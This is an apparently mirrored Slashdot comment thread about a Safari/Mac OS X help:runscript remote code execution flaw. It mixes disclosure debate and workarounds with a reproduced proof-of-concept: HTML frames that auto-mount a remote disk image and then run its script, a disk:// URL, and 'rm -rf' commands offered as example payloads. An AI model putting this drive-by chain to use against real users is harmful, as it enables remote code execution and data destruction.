Slashdot Mirror
Safari Falls Victim to Remote Code Exploit
A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."
According to a forum post on MacNN, this has been known since February...
"Democracy is three wolves and a sheep voting on what to have for dinner."
That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.
http://www.mozilla.org/projects/camino/
...
IMHO the best Mac OS X browser out there, even more so than Safari. Faster, per-site cookie policies, per-site popup blocking,
Be sure to get the latest snapshot release (updated daily), as the 0.7 release is getting a bit old.
Tts look and feel is more consistent with other Mac OS X apps (such as Mail.app) than Safari. (Safari looks more like a Finder window.)
I downloaded MisFox 1.2.1 and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.
If you disagree then it must be overrated, redundant or trolling.
We don't allow help: URLs in Slash. :p
Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.
. dmg">
s /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
The prof of concept link in the article was very simple:
The linked file 0x04_test.html:
<html>
<head><title>Safari runscript remote execution: Proof of concept</title></head>
<frameset cols="1%, 99%">
<frame src="0x04_get.html">
<frame src="0x04_exec.html">
</frameset>
</html>
0x04_get.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script
</head>
</html>
0x04_exec.html:
<html>
<head>
<meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resource
</head>
<body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
<br>The script will execute automatically afterwards.
<br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
</pre></body>
</html>
Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.
Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:
"You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" > owned.txt ; open owned.txt
Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.
All html source courtesy of curl.
Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/
The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.
-
sig sig sputnik
As to your Facts 1, 2 and 4: The submission was not incorrect, it merely didn't contain all the information. Instead, we linked to all the information, which is what we do on Slashdot. Sorry if you don't like it (not not really), and boo-hoo that didn't get your name in lights.
And your Fact 4 is not a workaround as you claim, it is a way to disable Help, which causes its own problem.
As to your Fact 3: you missed the point: I was criticizing the publication of the exploit, not stories about the exploit. Perhaps Apple was at fault for not contacting the people who submitted it, I don't know. I don't have enough information to tell. The only thing I do know is that this is the wrong way to do it; whose fault it is, I can't tell.
Because you apparently don't understand, and since I am such a nice, bright, guy, I'll explain: when you find an exploit, you should notify the people who can fix it (i.e., Apple). Apple should get back to you, and keep you apprised of the situation, and if Apple follows through with all this, you should NOT release the information to the public until it has been fixed. Whether Apple received the initial exploit report, or responded, is not clear (though it wouldn't surprise me if they did receive it, and did not respond). But again, clearly, this was not released the way it should have been, and that was my point.
It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.
sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app
instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.
""" :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
/" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.
An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends
"""
That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.
On any reasonably well maintained OS X system executing "rm -rf
Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...
But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):And now that I know it works, I go to my current browser, Camino, and try:Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
You can find an application to fix the remote exploit here:
MisFox
Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.
You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:
help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt
TextEdit runs, but the (harmless) script doesn't.
> You have get the user to download the code by themselves before you may execute it.
You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.
> but I set my DMGs to not automount a LONG TIME AGO.
That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.
Running 10.2.8 on a G5 and the example performed exactly as described
It's the OS that handles the help: protocol and delegates it to whatever app is assigned, regardless of what browser you're using.
The proof of concept also runs from the OmniWeb 5 Beta and Internet Explorer 5.2.
It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.
It fails in Opera with the error "The address type is unknown or unsupported."
Those are all the browsers I have to check on.
Yes, that's what I mean.
i pt .dmg
The remote mounting works only in 10.3 and later, but it works in all browsers including OmniWeb. Use the following URL to remotely mount the concept disk image for example:
disk://www.free-go.net/insecure/safari/0x04_scr
I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.
There was one equally as bad, almost 18 months ago. I think it was August 2002.
a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.
The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.
Bad bug, quick fix. I hope the same applies in this case.
Remember though, an Admin account on Mac OS X is not root. Basically, an Admin account is someone who can sudo/su to root, but it is not itself not root. In order for a script that wanted rm -rf / to work, it would have to ask the user to enter their password (which admittedly, many would probably do).
End of Line.
It's not just dmgs that cause the problem. Check out the (fortunately harmless) site here:h is is as serious and critical as they get, and it's not limited to any browser. They're all affected.
http://bronosky.com/pub/AppleScript.htm
T
"I like systems, their application excepted", George Sand (French)
This is much more serious than the articles let on. This security vulnerability in MacOS X affects all web browsers. There's a non-malicious example of the seriousness of the problem here:h at just runs a harmless script (/usr/bin/du; exit) which scrolls a bunch of text and looks scary, but it could easily have been a script to wipe your home directory, and you could have had some serious data loss (i.e. rm -rf ~/).
/Library/Documentation/Help). This will prevent people from linking to the script runner. This vulnerability is very serious, and doesn't even have to involve downloading a DMG. Once the "Help" folder is renamed, you won't be able to use the Mac Help center anymore, but at least you will not be at risk of having your data wiped by clicking on a link, or visiting a malicious site. DO THIS NOW!!!!!
http://bronosky.com/pub/AppleScript.htm
T
To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at
"I like systems, their application excepted", George Sand (French)
The default settings for the DiskImages.framework is located here: /System/Library/PrivateFrameworks/DiskImages.frame work/Versions/A/Resources/defaults.plist
/Volumes/ to whatever one likes, say /Users/MyAccount/
One can change an interesting setting called "force-idme" from the standard "no" to "yes" and the DiskImages.framework will treat the diskimage as if it was an "internet-enabled disk image." What this means is that it will mount the diskimage, copy it to the current directory as a folder then un-mount and then moves the disk image to the trash. There, the exploit no longer has a known location to work with. Another setting just happens to be "mount-point" which can also be changed from the default
Like the subject line says, simple fix.
NarratorDan
"If you're not confused by quantum mechanics, you really don't understand it." - Niels Bohr
You can create an account with no password, but it is not the default, and Mac OS X will warn you that it is dangerous to do so ("Are you sure...?").
There ain't no rules here; we're trying to accomplish something.
Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).
Me.
...
And I recommend it to anyone else running Panther, too.
I do my work as an ordinary user, without auto-login and with a password. I have an administrator account that I use for software installs and system work. It also has a password (and no auto-login).
Running as an ordinary user has saved me from loosing data to a few stupid mistakes (and one buggy program I was working on). I find there isn't anything that I need to do as an user of the system that I can't do from the "ordinary" user account. When I do need to switch to the system user (for example, to install software or fiddle with settings), it's very easy to move between the two accounts when I need to, with Fast User Switching.
Then again, I am an old-school UNIX sysadmin, and I tend to run my Mac as if it was a BSD-based workstation
Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X.
The difference is in services enabled by default. No TCP/IP services are enabled by default under Mac OS X. Even SSH - if you want to be able to SSH to your OS X box, you first need to enable "Remote Login" in the Network settings of your Systems preferences.
Moreover, Mac OS X ships with Postfix, not Sendmail. Postfix has a better track record w.r.t. security.
Though it is true that it also ships with BIND, the name services are only available if you turn on "Internet Connection Sharing", and only for those interfaces that are "internal" (i.e. those you share your external connection with). The external connection still does not listen on UDP/53 or TCP/53.
You are misunderstanding the gist of what I was saying. Most 'standard' UNIX systems (with the exception of OpenBSD) come with a bunch of services that are applicable to server machines enabled, such as SMTP, DNS, HTTP, etc.. Mac OS X, while having "learned" in the sense that it includes the more secure alternatives of available software, also leave these services disabled by default.